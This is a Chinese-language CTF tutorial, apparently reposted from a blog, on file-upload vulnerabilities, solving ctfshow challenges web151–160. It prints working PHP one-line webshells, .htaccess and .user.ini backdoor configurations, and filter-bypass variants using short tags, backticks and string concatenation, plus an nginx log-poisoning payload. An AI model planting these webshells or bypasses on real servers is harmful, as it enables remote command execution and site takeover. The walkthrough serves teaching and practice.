【CTF】文件上传（知识点+例题）(1)
文件上传
在上传文件时，服务端代码没有对客户端上传的文件进行严格的验证和过滤，就容易造成可以上传任意文件的情况，包括上传脚本文件（asp、aspx、php、jsp等格式的文件）
非法用户可以利用上传的恶意脚本控制整个网站，甚至控制服务器。这个恶意的脚本文件，又被称为Webshell，也可讲Webshell脚本称作一种网页后门，Webshell脚本具有非常强大的功能，比如查看服务器目录、服务器中的文件，执行系统命令等。
php一句话木马：
<?php @eval($_REQUEST['cmd']);?>
一、前端校验
有的站点会出现仅进行了前端校验的情况（一切在前端做的安全防护，都是耍流氓），由于前端页面的源码是我们可以随意更改的，因此可以通过找到进行过滤的指令，更改成我们想要的功能即可。
ctfshow-web151：
查看上传图片按钮的源码，可以看到它仅支持png格式的文件
可设想两种做法：
1、更改前端代码，将exts后的png更改为php，也就是说使其仅能上传php格式文件，即可完成上传。
2、上传一个png格式文件，使用burp抓取上传数据包，在数据包内更改文件格式与内容。
此处再将png格式更改为php即可
成功上传后，只需访问木马文件路径，执行所需的指令即可
ctfshow-web152：
使用web151方法二同样解法
二、利用.htaccess和.user.ini上传
这里的内容在我之前的一篇博客中有讲到
.htaccess后门
.htaccess文件（分布式配置文件），提供了针对目录改变配置的方法，即在一个特定的文档目录中放置一个包含一个或多个指令的文件，以作用于此目录及所有子目录。
.htaccess是Apache服务器的分布式配置文件的默认名称，换言之是个配置文件。当一个.htaccess文件放置在一个“通过Apache Web服务器加载”的目录中时，.htaccess文件会被Apache Web服务器软件检测并执行。
在一些黑名单过滤的情况下，若没有过滤.htaccess文件，即可通过创建.htaccess文件，来改写一些配置，从而达到上传后门的目的。
# .htaccess
<FilesMatch "1.png">
SetHandler application/x-http-php
</FilesMatch>
# 作用：将名为1.png的文件当作php类型的文件来进行执行
假设接下来就可以上传一个名为1.png的木马文件，植入后门，将其上传后，该文件虽文件后缀名为png，但会被当作php类型的文件进行解析，其中的一句话木马也能够被正常执行。
# 1.png (一句话木马)
<?php @eval($_POST['cmd']);?>
.user.ini后门
php.ini是php的一个全局配置文件，对整个Web服务起作用，而.user.ini就是用户自定义的一个php.ini，可以利用它来构造后门。.user.ini利用范围很广，不仅限于Apache服务器，还适用于Nginx服务器。当访问一个.php目录时，若当前目录下存在.user.ini文件，则会执行该配置文件中的内容。
使用：通过配置之前提到的auto_prepend_file或auto_append_file来自动包含指定文件，类似于在文件前调用了include()或require()函数，并且要知道，在php中，被包含的文件内容是在<?php?>体内部的，因此被包含的所有文件，无论是何种格式，都会被按照php文件进行解析。
# .user.ini
auto_prepend_file=1.png
# 1.png
GIF89a
<?php eval($_POST['cmd']);?>
因此，通过使用.user.ini，我们可以任意指定包含一个文件，这个文件可以是我们自己上传的木马文件，从而通过该木马文件提供后门来获取当前服务器的webshell。
ctfshow-web153：
无法上传php格式的文件，使用上述方法，上传.user.ini再访问./upload/index.php即可利用上传的木马文件
三、过滤关键字之php
当对文件内容里的php进行了过滤时，可以采用php短标签来绕过
#常规标签
<?php ?>
#php短标签
<?= >
ctfshow-web154、155:
上传之前的一句话木马文件，发现显示不合规，经过几次测试，发现过滤了关键字php，于是可以使用php短标签进行绕过，然后再和web153一样上传.user.ini即可
四、过滤一系列符号
1、过滤“[]”
当方括号被过滤，我们可以考虑直接执行system函数来获取flag
ctfshow-web156:
此时通过测试发现，方括号被过滤，文件内容中含有方括号无法正常上传，那么直接使用语句
system('cat ../f*');
除了直接使用system以外，还可以使用{}来代替[]，上传以下一句话木马同样可以实现
<?=eval($_REQUEST{'cmd'});?>
2、过滤“；”
ctfshow-web157：
这一题在156的基础上过滤了分号(😉，将分号去掉同样可以
<?= system('cat ../fl*')?>
ctfshow-web158：
与web157相同
3、过滤"()"
当()被过滤，在php中，在反引号中括起来的内容，表示执行的是系统命令
例如：
system('ls') 与 `ls`功能相同
ctfshow-web159:
在经过测试时，发现本题过滤了括号（），那么此时之前使用的system()与eval()都无法继续使用了，此时就可以使用反引号来执行系统目录
五、日志注入
一般nginx的日志路径默认为
/var/log/nginx
ctfshow-web160：
此时我们可以先使用include函数包含日志来查看日志的内容，并且发现，关键字log被过滤，因此可以使用字符串的拼接，payload如下：
GIF89a
<?=include"/var/l"."og/nginx/access.lo"."g"?>
包含出日志文件后，查看日志内容，发现access.log中记录的是User-Agent头内的信息
此时就可以考虑将木马语句写入到日志内，然后使用include进行包含执行
随后即可在读取的日志内容中查看源代码进而得到flag
本题还有另一种方法，由于使用到了include函数，因此我们也可以使用filter伪协议来进行指定文件的读取：
文章来源：https://www.toymoban.com/news/detail-468566.html
随后将得到的结果进行base64解码即可得到flag文章来源地址https://www.toymoban.com/news/detail-468566.html
到了这里，关于【CTF】文件上传（知识点+例题）(1)的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
![[知识点整理]中科院/国科大 自然语言处理nlp 期末考试知识点整理](https://imgs.yssmx.com/Uploads/2024/02/492641-1.png)
